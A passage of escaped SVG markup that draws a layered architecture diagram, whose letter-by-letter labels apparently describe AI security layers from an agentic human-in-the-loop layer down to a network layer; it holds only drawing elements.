L 0,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,320 L 0,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,400 L 0,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 240,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 240,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,288 L 240,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,368 L 240,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,0 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,80 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,160 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,240 L 480,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,320 L 480,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,400 L 480,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='248.000000,80.000000 236.000000,74.400002 236.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 240.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,160.000000 236.000000,154.399994 236.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,240.000000 236.000000,234.399994 236.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,320.000000 236.000000,314.399994 236.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,400.000000 236.000000,394.399994 236.000000,405.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 400.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='356' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='436' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='276' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='356' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='436' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='356' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='356' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='356' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='436' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='356' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='356' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='356' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='436' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='356' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='356' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='436' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='436' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='356' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='260' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='340' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='436' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='356' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='436' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='340' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='356' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='356' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='436' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='340' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='356' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='420' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='260' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='340' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='356' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='420' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='356' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='260' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='356' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='420' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='340' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='356' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='420' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='356' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='420' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='436' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' 